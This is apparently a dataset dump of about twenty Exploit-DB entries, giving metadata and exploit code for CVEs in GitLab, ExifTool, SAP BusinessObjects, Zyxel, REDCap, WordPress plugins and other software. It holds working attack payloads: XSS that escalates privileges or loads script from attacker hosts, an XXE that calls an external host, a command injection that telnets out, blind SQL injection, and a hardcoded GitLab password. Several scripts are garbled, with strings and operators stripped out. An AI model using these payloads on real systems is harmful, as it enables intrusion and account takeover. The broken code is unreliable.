QLWD/code_shield huggingface dataset:
标题: Wondershare Dr.Fone 12.0.7 - Privilege Escalation (ElevationService) EDB-ID: 50912 CVE: 2021-44595 类型: LOCAL 平台: WINDOWS 发布日期: 2022-05-11 漏洞利用脚本: # Exploit Title: Wondershare Dr.Fone 12.0.7 - Privilege Escalation (ElevationService)
# Date: 4/27/2022
# Exploit Author: Netanel Cohen & Tomer Peled
# Vendor Homepage: https://drfone.wondershare.net/
# Software Link: https://download.wondershare.net/drfone_full4008.exe
# Version: up to 12.0.7
# Tested on: Windows 10
# CVE : 2021-44595
# References: https://github.com/netanelc305/WonderShell

#Wondershare Dr. Fone Latest version as of 2021-12-06 is vulnerable to Incorrect Access Control. A normal user can send manually crafted packets to the ElevationService.exe and #execute arbitrary code without any validation with SYSTEM privileges.


 msgpackrpc

LADDR  
LPORT   

RADDR  
RPORT  

param  f
client  msgpackrpcClientmsgpackrpcAddressRADDR 
result  clientcallparam URL: https://www.exploit-db.com/exploits/50912
标题: ExifTool 12.23 - Arbitrary Code Execution EDB-ID: 50911 CVE: 2021-22204 类型: LOCAL 平台: LINUX 发布日期: 2022-05-11 漏洞利用脚本: # Exploit Title: ExifTool 12.23 - Arbitrary Code Execution
# Date: 04/30/2022
# Exploit Author: UNICORD (NicPWNs & Dev-Yeoj)
# Vendor Homepage: https://exiftool.org/
# Software Link: https://github.com/exiftool/exiftool/archive/refs/tags/12.23.zip
# Version: 7.44-12.23
# Tested on: ExifTool 12.23 (Debian)
# CVE: CVE-2021-22204
# Source: https://github.com/UNICORDev/exploit-CVE-2021-22204
# Description: Improper neutralization of user data in the DjVu file format in ExifTool versions 7.44 and up allows arbitrary code execution when parsing the malicious image

#!/usr/bin/env python3

# Imports
import base64
 os
 subprocess
 sys


 
    red  
    gold  
    blue  
    green  
    no  


 
    rf


 
    r


 command

    UNICORD_ASCII

    
    payload  
    payload  command
    payload  

    f
    f  payload  f

    
    payloadFile  
    payloadFilewritepayload
    payloadFileclose

    
    subprocessrun  

    
    subprocessrun    

       sysargv
        imagePath  sysargvsysargvindex  
        subprocessrunf

    
        
        image  b

        
            img
            imgwritebase64decodebytesimage

    
    config  r
    configFile  
    configFilewriteconfig
    configFileclose

    
    subprocessrun

    
    osremove
    osremove
    osremove
    osremove

    
    f

    exit

 __name__  

    args  

     args  sysargv
        

     args  sysargv   args  sysargv
          sysargvsysargvindexargs  
        command  f
        exploitcommand

     args  sysargv   args  sysargv
        localIP  sysargvsysargvindexargs  
        localPort  sysargvsysargvindexargs  
        command  f
        exploitcommand URL: https://www.exploit-db.com/exploits/50911
标题: Cyclos 4.14.7 - 'groupId' DOM Based Cross-Site Scripting (XSS) EDB-ID: 50909 CVE: 2021-31673 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2022-05-11 漏洞利用脚本: # Exploit Title: Cyclos 4.14.7 - 'groupId' DOM Based Cross-Site Scripting (XSS)
# Date: 17/04/2021
# Exploit Author: Tin Pham aka TF1T of VietSunshine Cyber Security Services
# Vendor Homepage: https://www.cyclos.org/
# Version: Cyclos 4.14.7 (and prior)
# Tested on: Ubuntu
# CVE : CVE-2021-31673

# Description: 
A Dom-based Cross-site scripting (XSS) vulnerability at registration account in Cyclos 4 PRO.14.7 and prior allows remote attackers to inject arbitrary web script or HTML via the 'groupId' parameter.

# Steps to reproduce: 
An attacker sends a draft URL

[IP]/#users.users.public-registration!groupId=1%27%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E to victim.

When a victim opens the URL, XSS will be triggered. URL: https://www.exploit-db.com/exploits/50909
标题: DLINK DIR850 - Open Redirect EDB-ID: 50907 CVE: 2021-46379 类型: REMOTE 平台: HARDWARE 发布日期: 2022-05-11 漏洞利用脚本: # Exploit Title: DLINK DIR850 - Open Redirect
# Product: Dlink
# Model: DIR850
# Date: 14/1/2022
# CVE: CVE-2021-46379
# Exploit Author: AhmedAlroky
# Hardware version: b1
# Firmware version: ET850-1.08TRb03
# Vendor home page: https://www.dlink.com/

#Exploit : 
Visit http://<IP Address>/boafrm/formWlanRedirect?redirect-url=http://attacker.com&wlan_id=1 URL: https://www.exploit-db.com/exploits/50907
标题: DLINK DIR850 - Insecure Access Control EDB-ID: 50906 CVE: 2021-46378 类型: REMOTE 平台: HARDWARE 发布日期: 2022-05-11 漏洞利用脚本: # Exploit Title: DLINK DIR850 - Insecure Access Control
# Product: Dlink
# Model: DIR850
# Date: 14/1/2022
# CVE : CVE-2021-46378
# Exploit Author: Ahmed Alroky
# Hardware version: b1
# Firmware version: ET850-1.08TRb03
# Vendor home page: https://www.dlink.com/

# Exploit : 
Visit http://<IP Address>/config.dat URL: https://www.exploit-db.com/exploits/50906
标题: Cyclos 4.14.7 - DOM Based Cross-Site Scripting (XSS) EDB-ID: 50908 CVE: 2021-31674 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2022-05-11 漏洞利用脚本: # Exploit Title: Cyclos 4.14.7 - DOM Based Cross-Site Scripting (XSS)
# Date: 18/04/2021
# Exploit Author: Tin Pham aka TF1T of VietSunshine Cyber Security Services
# Vendor Homepage: https://www.cyclos.org/
# Version: Cyclos 4.14.7 (and prior)
# Tested on: Ubuntu
# CVE : CVE-2021-31674

# Description: 
Cyclos 4 PRO 4.14.7 and before does not validate user input at error inform, which allows remote unauthenticated attacker to execute javascript code via undefined enum.

# Steps to reproduce: 
An attacker sends a draft URL

[IP]/#users.users.public-registrationxx%3Cimg%20src=x%20onerror=%22[]['\146\151\154\164\145\162']['\143\157\156\163\164\162\165\143\164\157\162']('\162\145\164\165\162\156\40\164\150\151\163')()['\141\154\145\162\164'](1)%22%3E to victim.

When a victim opens the URL, XSS will be triggered. URL: https://www.exploit-db.com/exploits/50908
标题: SAP BusinessObjects Intelligence 4.3 - XML External Entity (XXE) EDB-ID: 50900 CVE: 2022-28213 类型: REMOTE 平台: MULTIPLE 发布日期: 2022-05-11 漏洞利用脚本: # Exploit Title: SAP BusinessObjects Intelligence 4.3 - XML External Entity (XXE)
# Google Dork: N/A
# Date: 4/21/2022
# Exploit Author: West Shepherd
# Vendor Homepage: https://www.sap.com/
# Software Link: https://www.sap.com/
# Version: 4.2 and 4.3
# Tested on: Windows Server 2019 x64
# CVE : CVE-2022-28213
# References: https://github.com/wshepherd0010/advisories/blob/master/CVE-2022-28213.md

curl -sk -X POST -H 'Content-Type: application/xml;charset=UTF-8' \
--data '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY %
remote SYSTEM "\\attackerwebsite.com\XXE\example">%remote;%int;%trick;]>' \
https://example.com/biprws/logon/long URL: https://www.exploit-db.com/exploits/50900
标题: ManageEngine ADSelfService Plus Build 6118 - NTLMv2 Hash Exposure EDB-ID: 50904 CVE: 2022-29457 类型: REMOTE 平台: WINDOWS 发布日期: 2022-05-11 漏洞利用脚本: # Exploit Title: ManageEngine ADSelfService Plus Build 6118 - NTLMv2 Hash Exposure
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://www.manageengine.com/
# Software Link: https://www.manageengine.com/products/self-service-password/download.html
# Details: https://docs.unsafe-inline.com/0day/multiple-manageengine-applications-critical-information-disclosure-vulnerability
# Version: ADSelfService Plus Build < 6121
# Tested against: Build 6118
# CVE: CVE-2022-29457

# !/usr/bin/python3
import argparse
 requests
 urllib3
 random
 sys



urllib3disable_warningsurllib3exceptionsInsecureRequestWarning

 
    parser  argparseArgumentParser
        epilog
    parseradd_argument  required action 
    parseradd_argument  required action 
    parseradd_argument  required action
    parseradd_argument  required action
    parseradd_argument  required action 
    parseradd_argument  required action 
    args  parserparse_args
     args


 domain auth target listener user password
    
         requestsSession  s
            gUrl  target
            getCsrf  sgeturlgUrl allow_redirects verify
            csrf  getCsrfcookies
              getCsrfcookies
    
             authlower  
                auth  
            data  
                 user
                 auth
                 user
                 password
                 
                 csrf csrf
            

            
            url  target  
            headers   
            req  sposturl datadata headersheaders allow_redirects verify
            
            url2  target  
            req2  sgeturl2 headersheaders allow_redirects verify
             req2status_code  
                
             req2status_code  
                
                sysexit
            
                
                sysexit
                        
            dn  domainsplit
            r1  randomrandint 
        
            surl  target  
            data  
                
                
                   r1
                  domain 
                  domain  dn  dn  dn  dn  domain 
                 
                 ,
                 
                 
                 
                 user  domain
                 
                 
                   listener  
                 
                 
                 
                 
                 
                 
                 
                 
                 
                 csrf
                
            sch  spostsurl datadata headersheaders allow_redirects verify
               schtext
                
                sysexit
             schstatus_code  
                
            
                
                sysexit
    
        
    
 
    arg  get_args
    domain  argdomain
    auth  argauth
    user  arguser
    password  argpassword
    target  argtarget
    listener  arglistener
    schedulerdomain auth target listener user password


 __name__  
    main URL: https://www.exploit-db.com/exploits/50904
标题: Bookeen Notea - Directory Traversal EDB-ID: 50897 CVE: 2021-45783 类型: REMOTE 平台: ANDROID 发布日期: 2022-05-11 漏洞利用脚本: # Exploit Title: Bookeen Notea - Directory Traversal
# Date: December 2021
# Exploit Author: Clement MAILLIOUX
# Vendor Homepage: https://bookeen.com/
# Software Link: N/A
# Version: BK_R_1.0.5_20210608
# Tested on: Bookeen Notea (Android 8.1)
# CVE : CVE 2021-45783

# The affected version of the Bookeen Notea System Update is prone to directory traversal vulnerability related to its note Export function.
# The vulnerability can be triggered like so : 
# - Create a note or use an existing note on the device
# - rename this note ../../../../../../
# - keep touching the note until a menu appears
# - touch to select "export"
# - touch "View"

# Now you can access and explore the device filesystem. URL: https://www.exploit-db.com/exploits/50897
标题: WordPress Plugin Advanced Uploader 4.2 - Arbitrary File Upload (Authenticated) EDB-ID: 50895 CVE: 2022-1103 类型: WEBAPPS 平台: PHP 发布日期: 2022-05-11 漏洞利用脚本: # Exploit Title: WordPress Plugin Advanced Uploader 4.2 - Arbitrary File Upload (Authenticated)
# Google Dork: -
# Date: 2022-03-13
# Exploit Author: Roel van Beurden
# Vendor Homepage: -
# Software Link: https://downloads.wordpress.org/plugin/advanced-uploader.4.2.zip
# Version: <=4.2
# Tested on: WordPress 5.9 on Ubuntu 18.04
# CVE: CVE-2022-1103


1. Description:
----------------------
WordPress Plugin Advanced Uploader <=4.2 allows authenticated arbitrary file upload. Any file(type) can be uploaded. A malicious user can perform remote code execution on the backend webserver.


2. Proof of Concept:
----------------------
- Upload file/webshell/backdoor with the Advanced Uploader plugin;
- File is uploaded in the Wordpress Media Library;
- Go to /wp-content/uploads/ where the file is saved;
- Click on the uploaded file for whatever it's supposed to do (RCE, reverse shell).


3. Exploitation demo:
----------------------
https://www.youtube.com/watch?v=Bwpf-IpxtXQ URL: https://www.exploit-db.com/exploits/50895
标题: WebTareas 2.4 - Blind SQLi (Authenticated) EDB-ID: 50893 CVE: 2021-43481 类型: WEBAPPS 平台: PHP 发布日期: 2022-05-11 漏洞利用脚本: # Exploit Title: WebTareas 2.4 - Blind SQLi (Authenticated)
# Date: 04/20/2022
# Exploit Author: Behrad Taher
# Vendor Homepage: https://sourceforge.net/projects/webtareas/
# Version: < 2.4p3
# CVE : CVE-2021-43481

#The script takes 3 arguments: IP, user ID, session ID
#Example usage: python3 webtareas_sqli.py 127.0.0.1 1 4au5376dddr2n2tnqedqara89i

import requests, time, sys
from bs4 import BeautifulSoup
ip = sys.argv[1]
id = sys.argv[2]
sid = sys.argv[3]

 column
      column
    extract  
     i   
        
        extract  i
            
         j  
            injection    columnij
            url    ip
            GET_cookies     sid
            r  requestsgeturl cookiesGET_cookies
            
            token  BeautifulSouprtextfeaturesfind 
            
            POST_cookies     sid
            POST_data     token        injection
            start  timetime
            requestsposturl cookiesPOST_cookies dataPOST_data
            end  timetime  start
             end  
                extract  j
                 
                extract
                

sqli
sqli URL: https://www.exploit-db.com/exploits/50893
标题: Akka HTTP 10.1.14 - Denial of Service EDB-ID: 50892 CVE: 2021-42697 类型: REMOTE 平台: MULTIPLE 发布日期: 2022-05-11 漏洞利用脚本: # Exploit Title: Akka HTTP Denial of Service via Nested Header Comments
# Date: 18/4/2022
# Exploit Author: cxosmo
# Vendor Homepage: https://akka.io
# Software Link: https://github.com/akka/akka-http
# Version: Akka HTTP 10.1.x < 10.1.15 & 10.2.x < 10.2.7
# Tested on: Akka HTTP 10.2.4, Ubuntu
# CVE : CVE-2021-42697

import argparse
import logging
import requests

# Logging config
logging.basicConfig(level=logging.INFO, format="")
log = logging.getLogger()

 url verify
    loginfof
    
        r  requestsgeturl
        loginfof
         
     Exception  e
        loginfof
         

 url verify
    loginfof
    
    nested_comment_payload  
    headers   nested_comment_payload
    
        r  requestsgeturl headersheaders
        loginfof
    
     requestsexceptionsRequestException  e
           e
            loginfof
     Exception  e
        loginfof

 __name__  
    
    parser  argparseArgumentParserformatter_classargparseRawDescriptionHelpFormatter
    required_arguments  parseradd_argument_group
    required_argumentsadd_argument 
                        
                        required action
    parseradd_argument 
                        
                        action default
    args  parserparse_args

    
     send_benign_requestargstarget argsinsecure
        send_malicious_requestargstarget argsinsecure URL: https://www.exploit-db.com/exploits/50892
标题: GitLab 14.9 - Stored Cross-Site Scripting (XSS) EDB-ID: 50889 CVE: 2022-1175 类型: WEBAPPS 平台: RUBY 发布日期: 2022-04-26 漏洞利用脚本: # Exploit Title: Gitlab Stored XSS
# Date: 12/04/2022
# Exploit Authors: Greenwolf
# Vendor Homepage: https://about.gitlab.com/
# Software Link: https://about.gitlab.com/install
# Version: GitLab CE/EE versions 14.4 before 14.7.7, all versions starting from 14.8 before 14.8.5, all versions starting from 14.9 before 14.9.2
# Tested on: Linux
# CVE : CVE-2022-1175
# References: https://github.com/Greenwolf/CVE-2022-1175

Any user can create a project with Stored XSS in an issue. XSS on Gitlab is very dangerous and it can create personal access tokens leading users who visit the XSS page to silently have the accounts backdoor.

Can be abused by changing the base of the project to your site, so scripts are sourced by your site. Change javascript on your site to match the script names being called in the page. This can break things on the page though.

<pre data-sourcepos=""%22 href="x"></pre><base href=http://unsafe-website.com/><pre x=""><code></code></pre>

Standard script include also works depending on the sites CSP policy. This is more stealthy.

<pre data-sourcepos=""%22 href="x"></pre><script src="https://attacker-site.com/bad.js"></script><pre x=""><code></code></pre> URL: https://www.exploit-db.com/exploits/50889
标题: Gitlab 14.9 - Authentication Bypass EDB-ID: 50888 CVE: 2022-1162 类型: WEBAPPS 平台: RUBY 发布日期: 2022-04-26 漏洞利用脚本: # Exploit Title: Gitlab 14.9 - Authentication Bypass
# Date: 12/04/2022
# Exploit Authors: Greenwolf
# Vendor Homepage: https://about.gitlab.com/
# Software Link: https://about.gitlab.com/install
# Version: GitLab CE/EE versions 14.7 prior to 14.7.7, 14.8 prior to 14.8.5, and 14.9 prior to 14.9.2
# Tested on: Linux
# CVE : CVE-2022-1162
# References: https://github.com/Greenwolf/CVE-2022-1162

A hardcoded password was set for accounts registered using an OmniAuth provider (e.g. OAuth, LDAP, SAML) in GitLab CE/EE versions 14.7 prior to 14.7.7, 14.8 prior to 14.8.5, and 14.9 prior to 14.9.2 allowing attackers to potentially take over accounts.

Exploit:

New Gitlab Accounts (created since the first affect version and if Gitlab is before the patched version) can be logged into with the following password:

123qweQWE!@#000000000 URL: https://www.exploit-db.com/exploits/50888
标题: PKP Open Journals System 3.3 - Cross-Site Scripting (XSS) EDB-ID: 50881 CVE: 2022-24181 类型: WEBAPPS 平台: PHP 发布日期: 2022-04-19 漏洞利用脚本: # Exploit Title: PKP Open Journals System 3.3 - Cross-Site Scripting (XSS)
# Date: 31/01/2022
# Exploit Author: Hemant Kashyap
# Vendor Homepage: https://github.com/pkp/pkp-lib/issues/7649
# Version: PKP Open Journals System 2.4.8 >= 3.3
# Tested on: All OS
# CVE : CVE-2022-24181
# References: https://youtu.be/v8-9evO2oVg

XSS via Host Header injection and Steal Password Reset Token of another user Step to reproduce:

  1)  Go to this site: https://who's-using-ojs-software.com
  2)  And capture this request in burp , and send to repeater.
  3)  Add this after Host Header X-Forwarded-Host: foo"><script src=//dtf.pw/2.js></script><x=".com
  4) And this click on send , after this right click on request and click on show response in browser , after this copy the request.
  5) Paste this request in browser , and you'll see xss pop-up. Mitigation: Update to newer version.

 This vulnerability in PKP vendor software Open-journal-system version 2.4.8 to 3.3.8 all are vulnerable to xss via Host Header injection and steal password reset token vulnerability URL: https://www.exploit-db.com/exploits/50881
标题: REDCap 11.3.9 - Stored Cross Site Scripting EDB-ID: 50877 CVE: 2021-42136 类型: WEBAPPS 平台: PHP 发布日期: 2022-04-19 漏洞利用脚本: # Exploit Title: REDCap 11.3.9 - Stored Cross-Site Scripting
# Date: 2021-10-11
# Exploit Author: Kendrick Lam 
# References: https://github.com/KCL04/XSS-PoCs/blob/main/CVE-2021-42136.js
# Vendor Homepage: https://projectredcap.org
# Software Link: https://projectredcap.org
# Version: Redcap before 11.4.0
# Tested on: 11.2.5
# CVE: CVE-2021-42136
# Security advisory: https://redcap.med.usc.edu/_shib/assets/ChangeLog_Standard.pdf

### Stored XSS – Missing Data Code Value (found by Kendrick Lam)

It was possible to store JavaScript as values for Missing Data Codes.

- Where: Missing Data Code.
- Payload: 
  <script>
  var target = document.location.host;
  var csrf_token = csrf_token;
  var userId = '<userId>'; // Replace with your user ID.

  function privesc()
  {
   var xhr = new XMLHttpRequest();
   xhr.open("POST", "https://" + target + "/index.php?route=ControlCenterController:saveNewAdminPriv", true);
   xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
   xhr.setRequestHeader("Sec-Fetch-Dest", "empty");
   xhr.withCredentials = "true";
   var body = "";
   body += "userid=" + userId + "&attrs=admin_rights%2Csuper_user%2Caccount_manager%2Caccess_system_config%2Caccess_system_upgrade%2Caccess_external_module_install%2Caccess_admin_dashboards&csrf_token=" + csrf_token;
   xhr.send(body);
   return true;
  }

  privesc();
  </script>
- Details: The payload will escalate a regular user's privileges, if viewed by an account with permission to change privileges (such as an administrator).
- Privileges: Low privileged / regular user
- Location example: https://redcap.XXX/redcap/redcap_vv11.2.5/Design/data_dictionary_codebook.php?pid=XX

- Privileges:
  + Store: Low privileged user is able to store Missing Data Code values.
  + Execute: Any authenticated user. The payload will trigger once the page loads, this means storing the payload and sending over the link to an administrator would be able to escalate the user's privileges. For example, by browsing to https://redcap.XXX/redcap/redcap_vv11.2.5/Design/data_dictionary_codebook.php?pid=XX URL: https://www.exploit-db.com/exploits/50877
标题: WordPress Plugin Popup Maker 1.16.5 - Stored Cross-Site Scripting (Authenticated) EDB-ID: 50876 CVE: 2022-1104 类型: WEBAPPS 平台: PHP 发布日期: 2022-04-19 漏洞利用脚本: # Exploit Title: WordPress Plugin Popup Maker <1.16.5 - Persistent Cross-Site Scripting (Authenticated)
# Date: 2022-03-03
# Exploit Author: Roel van Beurden
# Vendor Homepage: https://wppopupmaker.com
# Software Link: https://downloads.wordpress.org/plugin/popup-maker.1.16.4.zip
# Version: <1.16.5
# Tested on: WordPress 5.9 on Ubuntu 20.04


1. Description:
----------------------
WordPress Plugin Popup Maker <1.16.5 does not sanitise and escape some of its popup settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed.


2. Proof of Concept:
----------------------
Create Popup > Popup Settings > Triggers > Add New Cookie > Add > Cookie Time  (overwrite the default '1 month' with XSS payload)
Click 'Add' what triggers the XSS payload

Payload examples:

<script>alert('XSS');</script>
<img src=x onerror=alert('XSS')> URL: https://www.exploit-db.com/exploits/50876
标题: Zyxel NWA-1100-NH - Command Injection EDB-ID: 50870 CVE: 2021-4039 类型: REMOTE 平台: HARDWARE 发布日期: 2022-04-19 漏洞利用脚本: # Exploit Title: Zyxel NWA-1100-NH - Command Injection
# Date: 12/4/2022
# Exploit Author: Ahmed Alroky
# Vendor Homepage: https://www.zyxel.com/homepage.shtml
# Version: ALL BEFORE 2.12
# Tested on: Linux
# CVE : CVE-2021-4039
# References : https://download.zyxel.com/NWA1100-NH/firmware/NWA1100-NH_2.12(AASI.3)C0_2.pdf , 
https://www.zyxel.com/support/OS-command-injection-vulnerability-of-NWA1100-NH-access-point.shtml


HTTP Request :

POST /login/login.html HTTP/1.1
Host: IP_address:8081
Content-Length: 80
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http:/IP_address:8081
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://IP_address:8081/login/login.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

myname=ffUfRAgO%60id%7ctelnet%20yourserverhere%2021%60&mypasswd=test&Submit=Login URL: https://www.exploit-db.com/exploits/50870
标题: Easy Appointments 1.4.2 - Information Disclosure EDB-ID: 50871 CVE: 2022-0482 类型: WEBAPPS 平台: PHP 发布日期: 2022-04-19 漏洞利用脚本: # Exploit Title: Easy Appointments 1.4.2 - Information Disclosure
# Exploit author: noraj (Alexandre ZANNI) for ACCEIS (https://www.acceis.fr)
# Author website: https://pwn.by/noraj/
# Exploit source: https://github.com/Acceis/exploit-CVE-2022-0482
# Date: 2022-04-11
# Vendor Homepage: https://easyappointments.org/
# Software Link: https://github.com/alextselegidis/easyappointments/archive/refs/tags/1.4.2.tar.gz
# Version: < 1.4.3 (it means up to 1.4.2)
# Tested on: Easy!Appointments Version 1.3.2

# Vulnerability
## Discoverer: Francesco CARLUCCI
## Date: 2022-01-30
## Discoverer website: https://carluc.ci/
## Discovered on OpenNetAdmin 1.4.2













 
 
 

doc  
      events disclosure

   httpsgithubcomexploit

  
    
    

  
    url         base path including  scheme port  root folder
    startDate  events since default 
    endDate    events  default today
    debug      arguments
    h help   this screen

  
    
    


 root_url http
  vuln_url  

  httpvuln_url


 root_url startDate endDate http
  vuln_url  

  params  
      httpcookiesfirstvalue 
      startDate    startDate
      endDate  todayto_s  endDate
  

  httpvuln_url form params



  args  doc
  pp args  args

  http  
  args http
  puts args args args httpbody
   e
  puts emessage URL: https://www.exploit-db.com/exploits/50871